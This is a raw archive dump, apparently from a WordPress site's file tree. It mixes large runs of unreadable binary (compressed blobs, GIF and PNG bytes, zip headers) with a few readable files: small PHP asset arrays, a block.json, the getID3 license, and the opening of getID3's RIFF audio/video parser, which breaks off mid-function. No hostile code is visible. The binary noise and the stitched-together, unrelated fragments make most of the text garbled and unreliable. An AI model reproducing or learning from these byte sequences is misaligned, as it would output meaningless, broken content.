��x6Ue�W$`���Ә��"S#U���*n�d�Q�A96�M�̵i�|�2�e���~t(�3�nZ}�`��.'٪�mc-���bh;�F1��G�����w�<n�s�;�>�W
�0v�����<�ai���
L�x2�G�=2
��pC�A�_�OsN��b �<7_Թ��{p��WGrlK��L� �Pu~���^����Fv��_2�6�i��/H�>Ut�J�eZ{/b$wq�H�ӵS�s���;
�:2�0�A�\�<�ҥX6oG��qO[k�]o��Px�mcobe޸����}̷bQ(x�^�s:а�r��3��N��Iڞg�
�
0Wٌ�x�e�ؘI�.�Q%��YI9�!�û�%8�A���5�}FN�uU<�89�LN$�5�EZ�І��pY�b䒳�B�1�J#�i�=;�`��8�Υ�&��K���6��Ŷ�)�!L�h9��j�pM�6���4�
��R�c��۳pm<rC @��u��}��K)�d	�A89�n�j`�v�&_�m�E�+Z�D�Q���->�����������Ա�Nkg���)�ڥ?��?l�vu����D�m�JU�r���A�����pP���3xé�>��ȡl!�`-��	&���GzA�w��b]�	Pe�4�9}J}G����M]9Q���.�=ӄ��a���z�3 G7�>����S���8cp�?�>tJ���Ω��^fS�!��D�~��� ˌ�+�z�\uX�\���
�I=��	E�z���P6f�2��㲔[،KuA�Д�����#;t���1���5Lo�׎��4�>v?wXu(���o����*��3�U9���ݵň
o�z������1�6Z$�E��N���L�{#�Q��5�Ȼ�5 j�m�^��WO�v���KN�R'%�\k��Sy�WkY�52%�U"��m���Ք�a�%1X����f��h������
�Jd�%�f��'�xL�E=Խ�tӗ���1��ED���P�n����zZ[���M�yR�ƅ�s�C�[��wO����Y�S�����+���~����_�**��ol��d�U���M��#�^3[��DW�tA��r����CqO�x�2�h��3ܸP޾���:�{b�~�*�L��`>�LN�[c�Mg<��R�s���x��8py�_˩g*�$Y�r�@Ό�6_o[��O��A|��P5���/�3�{x�h�a�y������h���ݶ�2���7_>95l3MېeuۧAm�,%�2�7�"���I&ar�p찉,ؤ]��C��.6��N��d��rt��Ǽ�����,@�v����u\~Q�X����Η�b0�bΖ�3Y�n���`�S#O�(Q��l��ή��S���ǁ;�����[�Z`�ZX�Ńc��#�Gń��7j��ѰK��"�/6ȏ�	ߡ�,U������K~?:�@�bR��B����(߯��\go��P��q���B\X�|�U5C\����THۢ}.]��Q*��wf<^�q�\	��iu�鋊�ٸ�w��5~�I�@aӹw�		���&����Z�:���ɱ������@Rn���+��-�I�2o��x{۞KղY��p����j�
古�J.�X�����zHƷ�k�x
M#��ؽIN���	�խO��nEv`�⾦y9C�}���v��6g�umKcx�tm���9�������P�B�����%���������k&��X�O�R_E���\���j��k�6Z…�.��[,G��R
�'X�0z˩���s�x��<������F0��
���1tо�Y?��u���5�ת�ŵ3J��v�^�L�
���!�����3���ZZD�V��]P��V�5�Ne�S���7�� ����N�07�QH�&�T���r9��ܥ�m�,{W��a��Z��(�W�"��<�Tg���(��0z�B�=p�~|)rqm���@Eڳ��n���0i�zi����&�/sK\*p�d�D0�TT���T�*M��*s R�A�Ox�O-�t�@-,QUL��c�T��wE�x�s��!�@q�D=�D�+�9��K~�,/�r��ҿ*��+��IƧX�N���,�{LO*`�7|����:����_�R'�N�Ru(ͥ|{�Yk:Rŗ���-\�H�>�ʑ.��%�d���=�X���g�ZK^ŭj[aJ�^?�ē�����XUu��\��U0nL[�ƆO���;9�a����<��1�=�B��F�fj*����U�|Z�*�39��w�b��3��]�i44U2u0k��A֎�9u�9B?c�;E�{/>�c[/@u�Y�~�/�t+�����l��7��O@Y�U/A��/�?7��v��M�:EI�>JoIk�*ge�h��s�d:���-u������>ޛߧ{��ig��H���&y��S�Δ!".E㥟1��3�Z%�}7�&�ͼ��֚�z{�b�ݵHך��@]`*�W����t�x���F�c����Ь�"U�k
�%}
ٴ"�^U���5z��o
�f�
y8�k��
WA��� �h���kwZ�_t����B}!߯ݒ���tmY�5K�{,��+����Ci*OG9]���TG/��g��,�R��^�=Z��p��ZK��.h\�z�^��.$�~-��9�D��M��/�?8!���ӏ�����gBT.A�W�6�8~N����c��⧃�^��ul~�K�:�z�Cp|��5m�)�	��eU���?�Y����:W������w����������o�Ssj�]�ZZ���O����������J��(޻h~14338/spinner.gif.tar000064400000013000151024420100010137 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/images/spinner.gif000064400000007110151024251730024765 0ustar00GIF89a���ݞ�������������뀀����!�NETSCAPE2.0!�	,@\x��.&�I�`V)@+ZD(�$˰���k�b�L��w�,��H�� �@G\��e�7S�(C�*8q��|��%L{�(t'����!�	,Px�0"&��)��C��
���F0��g���H5M�#�$��l:5̧`��L�J���D��E���`����X!�	,Px�0"F��)��C��
$PJ!n���g�ậ}����ۭ4��2�l:m�'G"�L�CZw9*e9���(=���4�$!�	,Px�0"F��)��C��E$PJ!rq�wd�1,Cw��ІFO3�m��*�ln�N��3�n(�f �	d�.��=�EC$!+!�	,Nx�0"F��)��C�č�"	��٨�������n�j��q�<*��&g"����S�Z���SL�xI��!�	,Nx�0"F��)��C�č��=�wd�FYp��F�G���3�Uq�ܤ���f"�����3'pݶ$���Xv��Ē!�	,Px�0"F��)��C�č��H~G�n���n�B@ͭ�-��'�AR����C2#�'g"�P�L���j\Nɂ�y,��HT$!�	,Ox�0"F��)��C�č��H~G����\�h7���#�|�0�R#�'g"�P\O!�)`ɜ$�C�X
�cbI!�	,Px�0"F��)��C�č��H~G�������]dn���w�$�@��=���f"�P\�إI�d\�i��y,��1�$!�	,Nx�0"F��)��C�č��H~G������ԯ�Ad�AA�_�C1��a"��h"�P\����d\N��}A��Ē!�	,Ox�0"&��)��C�č��H~G������ԯ�o��`�N��Q�<�̄ȡ���K�&`ɶ��C�X
�cbI!�	,Ox�0"F��)��C�č��H~G������ԯ��)�!��-f���&�@Bq���%`ɶ#�C�X��D�H!�	,Ox�0"F��)��C�č��H~G������ԯ����s���(	��2Lp��֬!��%`ɶ��C�X
���H!�	,Lx�0"F��)��C�č��H~G������ԯ�����\�H��f\�l����]z$��%ÒL�cq:�K!�	,Mx�0"F��)��C�č��H~G������ԯ�����WORd�I�tQ\*�5���%�rJ�cY4 ��%!�	,Lx�0"F��)��C�č��H~G������ԯ�����=��6p&���ek�F��#K���&��"K!�	,Px�0"F��)��C�č��H~G������ԯ���>
p'��ڇ��P��#z
���%n��x,��1�$!�	,Ox�0"F��)��C�č��H~G������ԯ���>
p'	n&9���0�'v�	��K�L�C�X
�cbI!�	,Px�0"F��)��C�č��H~G������ԯ�����Hp#j&����P���0�]z��Ȓ�<L�i��y,��1�$!�	,Ox�0"&��)��C�č��H~G������ԯ�����`��LF����4&B0rJE��L���C�X
�cbI!�	,Nx�0"F��)��C�č��H~G������ԯ����׏�FBr�f��B�M-U�"(�K���	��X��ג!�	,Ox�0"F��)��C�č��H~G������ԯ�����=��3�&��¥���J���`�%�ڒC�X
�ĴH!�	,Kx�0"F��)��C�č��H~G������ԯ�����N8�P��,�X�(�A�] ��3-0U�E�H��!�	,Nx�0"F��)��C�č��H~G������ԯ������E�hL��hr\(9�L� ��.�GM��=9%��,Y�i�!�	,Mx�0"F��)��C�č��H~G������ԯ���.D@P��7��%�(��%��L�cY4D�"!�	,Px�0"F��)��C�č��H~G������ԯ�����᲋����0PR���|Q���J�d\�i��y,��1�$!�	,Mx�0"F��)��C�č��H~G������ԯ���8�.�a�D�'1��ɡ����&`ɶ*�"
�t��%!�	,Lx�0"F��)��C�č��H~G������ԯc��"����@�b��,��$ʡ���K
ȒmU%���K!�	,Qx�0"&��)��C�č��H~G������D�֎�5��7ap4��G���Q5��1vI�,�WU�`hˢyL,	!�	,Px�0"F��)��C�č��H~G���D��j�1(D�:S��J`#>��t4�r(Me��	X��Jx�n<�E�)!!�	,Lx�0"F��)��C�č��H~G&
*@D(p�5����
�l^�$0��䚆	tׂ�PJ��T�,�Dzh�$�E!�	,Ox�0"F��)��C�č��3r�wdq�̚y�u�+�ʱ25�0�l��N�s4�r(���]�!��y,`GjbI!�	,Nx�0"F��)��C�č�P��&|G&L�����lB���<z.�r�1]��f"�P��ɉ|�M���Xv��Ē!�	,Px�0"F��)��C�$QJ!Qr�wdưfw[�йg��i�dD�l�^�H1Z�Q
`�w�&c�S�Z`�K)-+!�	,Px�0"F��)��C�dL'PJI
!n�w�:s�pq�N@:�HXr�Z�N�$��P9��3��"c���d�$=���1�$!�,Px�0"F��)��C�d@1p���m����p#A�<0H48�Er�\j�H��7�r(�i`E�t]�j�)z,��1�$;14338/speculative-loading.php.php.tar.gz000064400000005443151024420100013663 0ustar00��Z[o����+&�`�*E�Wr��)�@�N�<8.9��/w6;��Y��=���YriQ.zy��pȝ˹��C/�JM��7���IRꕲ��U�)��*l�X��mb��mƉYM�řΓ�J���B%U&��Qg��)��^�������{��9=ϟ<yz��?<��1���������N�@�A��������X���c
oL����i��1�M�2y+���Ŕ�%x�����
�5?�5��F���?����8�}�\U�V���?�\�U��HL���UI�j&�wѫ���,��k�J ;����*��kM��1�&��-EeR�2OE_�eB��[��#aJAg�BD��x�����*S�DZ�bv��,{Fb�Zb�����d"�ۈT-d��Q�VL���F�����a�u����mD�ʕ�t�^/U.r#*�J<���k8�A�G �@|og�:㥙����7q)���3P|��A@�C��>:a�Ĕ�?�WG^��L������h%2Eke���P�U[���p�T�u6�AgN��ZkО[J��c�T�����(��2�f��v��|�*�b����*�̬����
$�j��^(�,ѓ�s��T���I�����M����54Hd. 
�xg�d	Y�U�h�Z8��c��A�2k�+Ab�v�GK�R��n��a�#Pa-������'�4���� f��Ղ�H��8>]�}E�(���#퀖@|�7b��Qp��K��:�C#��09 �P��D����M��ğhh�C��^�r-2ҕ¸I�$��I�6nѨ�k��㒭��H�҃����٦��\� �������q�G�"7.�k�
v�F?+�kJ�ȬR��9�|D4u��?;�-�j'�;]���t�n�l~��X:W؋�$U`u,��e	���Fj;� ;+�����~u�1`��Y�էrH�YXhz��ß�Z�HW�)	��8���O
��V�����#E��'�����:�G/�#�XgD���G�F+|&�q��I�L����9�<�l�q��ܒ�qrW���63�e��-�	ǡQ5~�����F��S>l�'�&�*���鴡C��㛸�M�πҝ���Mؤ�RA�@Ա{��'T�"�1����3�+x�ͳhGmh��2�)p��$hɰ�����|Ԑ���7d�*WS�D�>��WF��z�%~��EeFe����ꔘ����s�i[�[xm�$��ø�O|�8U_�V*��t�Ѩ\\U���+ej `�!8$4o�D^����2L�\z�(XDh�t;Z�y�v8��mW����Ћ�]�� l_��ٺ,0lwF*�W����2��	p�.�D��+9T8�(M� s3F���Q��gbR��&~�KBX�h��T}���n���g�tK��R�m��qi�:`ਃ��a�?��^��ƻe�nc���[Y�-�VQ���*˘dK*L����2����L�i¢��bH�����=ŷ2I�âԐ	�V;�u!#���VL�  V(�ɮ����EC)9�'��
"k�G_t�w��z�Nu��l(EӃ��g{j`�i_)<�+W�Lq�bq����9�(��:K�FC���.��g�~u@ ��#p�^����9�-3=�=p�v��3�M��uzP�+�ON�|�NT����!r����P�i�n��ZapG��ۀ�-��,2Z�~��cB�&�:��|����*�6
#�����C4CG�?� k�b>[��$2߾C)rb�Z$Z�uh*C�XC��I�tKt����}M�v]���7�����%tn}�=����?����)�y:=�"�g����;�.��#Ԕ݆P�����I��q޺��y�I�a��{��4����&g~:�g8���Y��=��x��yȘ�����Rhbg�
7�טI�+�=Q�$��\a��e4J��	�ICUfk	M����c$��z[�J��9&��@Pc�Sa�G	i�}�v`�#>� -C�����e���>���E'y7�m�o����]"PU�S?�W���N�s�&���Q#n�V���2�
2<�U�n#_��#/Dh[�@N�z�`
sP�j_1��Cve�g�t�1K�27>��o����
r@0M<z�Ƽ>�%��
�8��Vo���R�^�n�6�_�Ty��&�)�vY��#�l����H����@�D=h2� ䷿��>�-�u����Ȍv�����/l';�����A�
š�"
�xi!��˼�z�h�,Q��pKO,CJ��wRl.����D�;���=n�8Qh^u���-�/pt2*��in�zX?"�Q&��S�<���%��wPsqd��k�9`ݪ�|���|
��s����o�?b�{2�c� ?�d����a*����4Kq�%TȀ�OT�>���87g�)�|�苐��!/A������!���Q��R�D�h׷(H�ޤ\�I�+n78C2p�B-�eF=0Ȋ���ACG��g�e��Gj'ˆ��l�[�Te������im�Y�F!1�P�9f�do�ܙ���q5��g����(S�48"<`�CgD�GF�Ξ�#=޵�U:53�&
�.���Pv���%���'�0��߁�J���x%BN��٪(L�C�F�_��6)u�^�M���h#�뽙'�SBq�׹)��������@a�'7F�40�*_�G�c�eG�S5/:��f�����?�*>D��Y�G�	Nz��w���O���I�mm��Џ
��������|y��_�%v(14338/rss-2x.png.tar000064400000006000151024420100007640 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/images/rss-2x.png000064400000002432151024253050024463 0ustar00�PNG


IHDRr
ߔ�IDATxڵ�iO[G��j �,�Z��ԏ-���el6cc6	ġ(�JSP�4*UD��&��`���\��w�Y���%W��(�J��μ�g��s�u���4τK�<���+S���^��A,򅓩80T�=R���8T���
�V"8^���:�'o���&�c8y.}9��U�����߾��#�~�U�9�C
��V��PM9�-b�?��]W���m	�_��T�;Z��*ʽP�@Cl���s����5�����l8W����(�h�ۺ|��6�<t>���<q��A,a5��__q�o�r.�ė0�
�Ou�YυF.��
�`)"�ʩV����.���1£e4r폔!0\���b84E0i��xn��a8zr�e���bʥz%��W�����}r�t����ۙP�x-��:*�?��F���R�J����U�e�A�-��_��(�A���[�m���؆�E'(������@}1Du[+�{���+s���Ko9\Z���K#�7M�J�R�fwA<����Ā̴�rq�s��giX!9|�B���,�vw>[�K���t���Q]gKX���(�9_��%l�T��a�"��aS�כg�{���QD>��b	�Kb�~Į\�_��>7Ƶ�"��h��I]�&���h�FI��
��<��b	�b���|�5y��ʁؙ��Pec�%���8�:!��5,�<XNH���l��ĄD�m��s�����%��@o.��ؚ�~۲�w�UCTe�8�:kʒ�.׵7����b	�q`oW@�
OW\�Y4�yP�7��2hķ{�;��h������I�{yNz�?��ӑ��^ʣ� K�2��5��X�o��Ͻ�f�ܞ���H
����e&�w*3`�n��;���b!���b@?�Z� .� I�|D��sRq���]K�`g~�;{���靴��ڜ��^Ā��4�Q-�zh��@gl�)�^��[nn��=�*�������|b��(�ْ
��3��3=������J���&qϯL��>-�^���b�����5g7�k�gّ�f>8����6$��eiJZ�9�X�|a�mc�'��rF�@sZ'�ߞ
ϝ8��a���O��b�!���r�1y$z'���ǀ���[)�
��FiN����A,�����
{�w��!6&�HsZ�(Qmb��[��1�EG��]&�L�d��V�A�{��0IEND�B`�14338/view.asset.php.tar000064400000006000151024420100010575 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/file/view.asset.php000064400000000124151024266110026344 0ustar00<?php return array('dependencies' => array(), 'version' => '498971a8a9512421f3b5');
home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/navigation/view.asset.php000064400000000124151024346120027564 0ustar00<?php return array('dependencies' => array(), 'version' => 'c7aadf427ad3311e0624');
14338/missing.zip000064400000001403151024420100007406 0ustar00PK\d[J�W�ii
block.jsonnu�[���{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/missing",
	"title": "Unsupported",
	"category": "text",
	"description": "Your site doesn’t include support for this block.",
	"textdomain": "default",
	"attributes": {
		"originalName": {
			"type": "string"
		},
		"originalUndelimitedContent": {
			"type": "string"
		},
		"originalContent": {
			"type": "string",
			"source": "raw"
		}
	},
	"supports": {
		"className": false,
		"customClassName": false,
		"inserter": false,
		"html": false,
		"reusable": false,
		"interactivity": {
			"clientNavigation": true
		}
	}
}
PK\d[J�W�ii
block.jsonnu�[���PKJ�14338/theme-rtl.css.css.tar.gz000064400000000410151024420100011614 0ustar00����N�0О����!M�m��ׄ�i��R�0�'���āM�Ųc���!<�K�W�B��Ni	IJ�O�%�*�9/XY����k'N��4*G����!hַmq��k-X�h���f9^�Ms@�S�7H!r�[�D�?����v����<��[�&�����{)N;?�t]w�/�l�A=���F"\"�ZMv����ײR�ܟ�v�K���?�U�f���(����Y�=��n��o�&�14338/ID3.zip000064400004337047151024420100006340 0ustar00PKEWd[%,�ttlicense.txtnu�[���/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at http://getid3.sourceforge.net                 //
//            or https://www.getid3.org                        //
//          also https://github.com/JamesHeinrich/getID3       //
/////////////////////////////////////////////////////////////////

*****************************************************************
*****************************************************************

   getID3() is released under multiple licenses. You may choose
   from the following licenses, and use getID3 according to the
   terms of the license most suitable to your project.

GNU GPL: https://gnu.org/licenses/gpl.html                   (v3)
         https://gnu.org/licenses/old-licenses/gpl-2.0.html  (v2)
         https://gnu.org/licenses/old-licenses/gpl-1.0.html  (v1)

GNU LGPL: https://gnu.org/licenses/lgpl.html                 (v3)

Mozilla MPL: https://www.mozilla.org/MPL/2.0/                (v2)

getID3 Commercial License: https://www.getid3.org/#gCL
(no longer available, existing licenses remain valid)

*****************************************************************
*****************************************************************

Copies of each of the above licenses are included in the 'licenses'
directory of the getID3 distribution.
PKEWd[�;jjmodule.audio-video.riff.phpnu�[���<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio-video.riff.php                                 //
// module for analyzing RIFF files                             //
// multiple formats supported by this module:                  //
//    Wave, AVI, AIFF/AIFC, (MP3,AC3)/RIFF, Wavpack v3, 8SVX   //
// dependencies: module.audio.mp3.php                          //
//               module.audio.ac3.php                          //
//               module.audio.dts.php                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

/**
* @todo Parse AC-3/DTS audio inside WAVE correctly
* @todo Rewrite RIFF parser totally
*/

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}
getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.mp3.php', __FILE__, true);
getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.ac3.php', __FILE__, true);
getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.dts.php', __FILE__, true);

class getid3_riff extends getid3_handler
{
	protected $container = 'riff'; // default

	/**
	 * @return bool
	 *
	 * @throws getid3_exception
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		// initialize these values to an empty array, otherwise they default to NULL
		// and you can't append array values to a NULL value
		$info['riff'] = array('raw'=>array());

		// Shortcuts
		$thisfile_riff             = &$info['riff'];
		$thisfile_riff_raw         = &$thisfile_riff['raw'];
		$thisfile_audio            = &$info['audio'];
		$thisfile_video            = &$info['video'];
		$thisfile_audio_dataformat = &$thisfile_audio['dataformat'];
		$thisfile_riff_audio       = &$thisfile_riff['audio'];
		$thisfile_riff_video       = &$thisfile_riff['video'];
		$thisfile_riff_WAVE        = array();

		$Original                 = array();
		$Original['avdataoffset'] = $info['avdataoffset'];
		$Original['avdataend']    = $info['avdataend'];

		$this->fseek($info['avdataoffset']);
		$RIFFheader = $this->fread(12);
		$offset = $this->ftell();
		$RIFFtype    = substr($RIFFheader, 0, 4);
		$RIFFsize    = substr($RIFFheader, 4, 4);
		$RIFFsubtype = substr($RIFFheader, 8, 4);

		switch ($RIFFtype) {

			case 'FORM':  // AIFF, AIFC
				//$info['fileformat']   = 'aiff';
				$this->container = 'aiff';
				$thisfile_riff['header_size'] = $this->EitherEndian2Int($RIFFsize);
				$thisfile_riff[$RIFFsubtype]  = $this->ParseRIFF($offset, ($offset + $thisfile_riff['header_size'] - 4));
				break;

			case 'RIFF':  // AVI, WAV, etc
			case 'SDSS':  // SDSS is identical to RIFF, just renamed. Used by SmartSound QuickTracks (www.smartsound.com)
			case 'RMP3':  // RMP3 is identical to RIFF, just renamed. Used by [unknown program] when creating RIFF-MP3s
				//$info['fileformat']   = 'riff';
				$this->container = 'riff';
				$thisfile_riff['header_size'] = $this->EitherEndian2Int($RIFFsize);
				if ($RIFFsubtype == 'RMP3') {
					// RMP3 is identical to WAVE, just renamed. Used by [unknown program] when creating RIFF-MP3s
					$RIFFsubtype = 'WAVE';
				}
				if ($RIFFsubtype != 'AMV ') {
					// AMV files are RIFF-AVI files with parts of the spec deliberately broken, such as chunk size fields hardcoded to zero (because players known in hardware that these fields are always a certain size
					// Handled separately in ParseRIFFAMV()
					$thisfile_riff[$RIFFsubtype]  = $this->ParseRIFF($offset, ($offset + $thisfile_riff['header_size'] - 4));
				}
				if (($info['avdataend'] - $info['filesize']) == 1) {
					// LiteWave appears to incorrectly *not* pad actual output file
					// to nearest WORD boundary so may appear to be short by one
					// byte, in which case - skip warning
					$info['avdataend'] = $info['filesize'];
				}

				$nextRIFFoffset = $Original['avdataoffset'] + 8 + $thisfile_riff['header_size']; // 8 = "RIFF" + 32-bit offset
				while ($nextRIFFoffset < min($info['filesize'], $info['avdataend'])) {
					try {
						$this->fseek($nextRIFFoffset);
					} catch (getid3_exception $e) {
						if ($e->getCode() == 10) {
							//$this->warning('RIFF parser: '.$e->getMessage());
							$this->error('AVI extends beyond '.round(PHP_INT_MAX / 1073741824).'GB and PHP filesystem functions cannot read that far, playtime may be wrong');
							$this->warning('[avdataend] value may be incorrect, multiple AVIX chunks may be present');
							break;
						} else {
							throw $e;
						}
					}
					$nextRIFFheader = $this->fread(12);
					if ($nextRIFFoffset == ($info['avdataend'] - 1)) {
						if (substr($nextRIFFheader, 0, 1) == "\x00") {
							// RIFF padded to WORD boundary, we're actually already at the end
							break;
						}
					}
					$nextRIFFheaderID =                         substr($nextRIFFheader, 0, 4);
					$nextRIFFsize     = $this->EitherEndian2Int(substr($nextRIFFheader, 4, 4));
					$nextRIFFtype     =                         substr($nextRIFFheader, 8, 4);
					$chunkdata = array();
					$chunkdata['offset'] = $nextRIFFoffset + 8;
					$chunkdata['size']   = $nextRIFFsize;
					$nextRIFFoffset = $chunkdata['offset'] + $chunkdata['size'];

					switch ($nextRIFFheaderID) {
						case 'RIFF':
							$chunkdata['chunks'] = $this->ParseRIFF($chunkdata['offset'] + 4, $nextRIFFoffset);
							if (!isset($thisfile_riff[$nextRIFFtype])) {
								$thisfile_riff[$nextRIFFtype] = array();
							}
							$thisfile_riff[$nextRIFFtype][] = $chunkdata;
							break;

						case 'AMV ':
							unset($info['riff']);
							$info['amv'] = $this->ParseRIFFAMV($chunkdata['offset'] + 4, $nextRIFFoffset);
							break;

						case 'JUNK':
							// ignore
							$thisfile_riff[$nextRIFFheaderID][] = $chunkdata;
							break;

						case 'IDVX':
							$info['divxtag']['comments'] = self::ParseDIVXTAG($this->fread($chunkdata['size']));
							break;

						default:
							if ($info['filesize'] == ($chunkdata['offset'] - 8 + 128)) {
								$DIVXTAG = $nextRIFFheader.$this->fread(128 - 12);
								if (substr($DIVXTAG, -7) == 'DIVXTAG') {
									// DIVXTAG is supposed to be inside an IDVX chunk in a LIST chunk, but some bad encoders just slap it on the end of a file
									$this->warning('Found wrongly-structured DIVXTAG at offset '.($this->ftell() - 128).', parsing anyway');
									$info['divxtag']['comments'] = self::ParseDIVXTAG($DIVXTAG);
									break 2;
								}
							}
							$this->warning('Expecting "RIFF|JUNK|IDVX" at '.$nextRIFFoffset.', found "'.$nextRIFFheaderID.'" ('.getid3_lib::PrintHexBytes($nextRIFFheaderID).') - skipping rest of file');
							break 2;

					}

				}
				if ($RIFFsubtype == 'WAVE') {
					$thisfile_riff_WAVE = &$thisfile_riff['WAVE'];
				}
				break;

			default:
				$this->error('Cannot parse RIFF (this is maybe not a RIFF / WAV / AVI file?) - expecting "FORM|RIFF|SDSS|RMP3" found "'.$RIFFsubtype.'" instead');
				//unset($info['fileformat']);
				return false;
		}

		$streamindex = 0;
		switch ($RIFFsubtype) {

			// http://en.wikipedia.org/wiki/Wav
			case 'WAVE':
				$info['fileformat'] = 'wav';

				if (empty($thisfile_audio['bitrate_mode'])) {
					$thisfile_audio['bitrate_mode'] = 'cbr';
				}
				if (empty($thisfile_audio_dataformat)) {
					$thisfile_audio_dataformat = 'wav';
				}

				if (isset($thisfile_riff_WAVE['data'][0]['offset'])) {
					$info['avdataoffset'] = $thisfile_riff_WAVE['data'][0]['offset'] + 8;
					$info['avdataend']    = $info['avdataoffset'] + $thisfile_riff_WAVE['data'][0]['size'];
				}
				if (isset($thisfile_riff_WAVE['fmt '][0]['data'])) {

					$thisfile_riff_audio[$streamindex] = self::parseWAVEFORMATex($thisfile_riff_WAVE['fmt '][0]['data']);
					$thisfile_audio['wformattag'] = $thisfile_riff_audio[$streamindex]['raw']['wFormatTag'];
					if (!isset($thisfile_riff_audio[$streamindex]['bitrate']) || ($thisfile_riff_audio[$streamindex]['bitrate'] == 0)) {
						$this->error('Corrupt RIFF file: bitrate_audio == zero');
						return false;
					}
					$thisfile_riff_raw['fmt '] = $thisfile_riff_audio[$streamindex]['raw'];
					unset($thisfile_riff_audio[$streamindex]['raw']);
					$thisfile_audio['streams'][$streamindex] = $thisfile_riff_audio[$streamindex];

					$thisfile_audio = (array) getid3_lib::array_merge_noclobber($thisfile_audio, $thisfile_riff_audio[$streamindex]);
					if (substr($thisfile_audio['codec'], 0, strlen('unknown: 0x')) == 'unknown: 0x') {
						$this->warning('Audio codec = '.$thisfile_audio['codec']);
					}
					$thisfile_audio['bitrate'] = $thisfile_riff_audio[$streamindex]['bitrate'];

					if (empty($info['playtime_seconds'])) { // may already be set (e.g. DTS-WAV)
						$info['playtime_seconds'] =  (float)getid3_lib::SafeDiv(($info['avdataend'] - $info['avdataoffset']) * 8, $thisfile_audio['bitrate']);
					}

					$thisfile_audio['lossless'] = false;
					if (isset($thisfile_riff_WAVE['data'][0]['offset']) && isset($thisfile_riff_raw['fmt ']['wFormatTag'])) {
						switch ($thisfile_riff_raw['fmt ']['wFormatTag']) {

							case 0x0001:  // PCM
								$thisfile_audio['lossless'] = true;
								break;

							case 0x2000:  // AC-3
								$thisfile_audio_dataformat = 'ac3';
								break;

							default:
								// do nothing
								break;

						}
					}
					$thisfile_audio['streams'][$streamindex]['wformattag']   = $thisfile_audio['wformattag'];
					$thisfile_audio['streams'][$streamindex]['bitrate_mode'] = $thisfile_audio['bitrate_mode'];
					$thisfile_audio['streams'][$streamindex]['lossless']     = $thisfile_audio['lossless'];
					$thisfile_audio['streams'][$streamindex]['dataformat']   = $thisfile_audio_dataformat;
				}

				if (isset($thisfile_riff_WAVE['rgad'][0]['data'])) {

					// shortcuts
					$rgadData = &$thisfile_riff_WAVE['rgad'][0]['data'];
					$thisfile_riff_raw['rgad']    = array('track'=>array(), 'album'=>array());
					$thisfile_riff_raw_rgad       = &$thisfile_riff_raw['rgad'];
					$thisfile_riff_raw_rgad_track = &$thisfile_riff_raw_rgad['track'];
					$thisfile_riff_raw_rgad_album = &$thisfile_riff_raw_rgad['album'];

					$thisfile_riff_raw_rgad['fPeakAmplitude']      = getid3_lib::LittleEndian2Float(substr($rgadData, 0, 4));
					$thisfile_riff_raw_rgad['nRadioRgAdjust']      =        $this->EitherEndian2Int(substr($rgadData, 4, 2));
					$thisfile_riff_raw_rgad['nAudiophileRgAdjust'] =        $this->EitherEndian2Int(substr($rgadData, 6, 2));

					$nRadioRgAdjustBitstring      = str_pad(getid3_lib::Dec2Bin($thisfile_riff_raw_rgad['nRadioRgAdjust']), 16, '0', STR_PAD_LEFT);
					$nAudiophileRgAdjustBitstring = str_pad(getid3_lib::Dec2Bin($thisfile_riff_raw_rgad['nAudiophileRgAdjust']), 16, '0', STR_PAD_LEFT);
					$thisfile_riff_raw_rgad_track['name']       = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 0, 3));
					$thisfile_riff_raw_rgad_track['originator'] = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 3, 3));
					$thisfile_riff_raw_rgad_track['signbit']    = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 6, 1));
					$thisfile_riff_raw_rgad_track['adjustment'] = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 7, 9));
					$thisfile_riff_raw_rgad_album['name']       = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 0, 3));
					$thisfile_riff_raw_rgad_album['originator'] = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 3, 3));
					$thisfile_riff_raw_rgad_album['signbit']    = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 6, 1));
					$thisfile_riff_raw_rgad_album['adjustment'] = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 7, 9));

					$thisfile_riff['rgad']['peakamplitude'] = $thisfile_riff_raw_rgad['fPeakAmplitude'];
					if (($thisfile_riff_raw_rgad_track['name'] != 0) && ($thisfile_riff_raw_rgad_track['originator'] != 0)) {
						$thisfile_riff['rgad']['track']['name']            = getid3_lib::RGADnameLookup($thisfile_riff_raw_rgad_track['name']);
						$thisfile_riff['rgad']['track']['originator']      = getid3_lib::RGADoriginatorLookup($thisfile_riff_raw_rgad_track['originator']);
						$thisfile_riff['rgad']['track']['adjustment']      = getid3_lib::RGADadjustmentLookup($thisfile_riff_raw_rgad_track['adjustment'], $thisfile_riff_raw_rgad_track['signbit']);
					}
					if (($thisfile_riff_raw_rgad_album['name'] != 0) && ($thisfile_riff_raw_rgad_album['originator'] != 0)) {
						$thisfile_riff['rgad']['album']['name']       = getid3_lib::RGADnameLookup($thisfile_riff_raw_rgad_album['name']);
						$thisfile_riff['rgad']['album']['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_riff_raw_rgad_album['originator']);
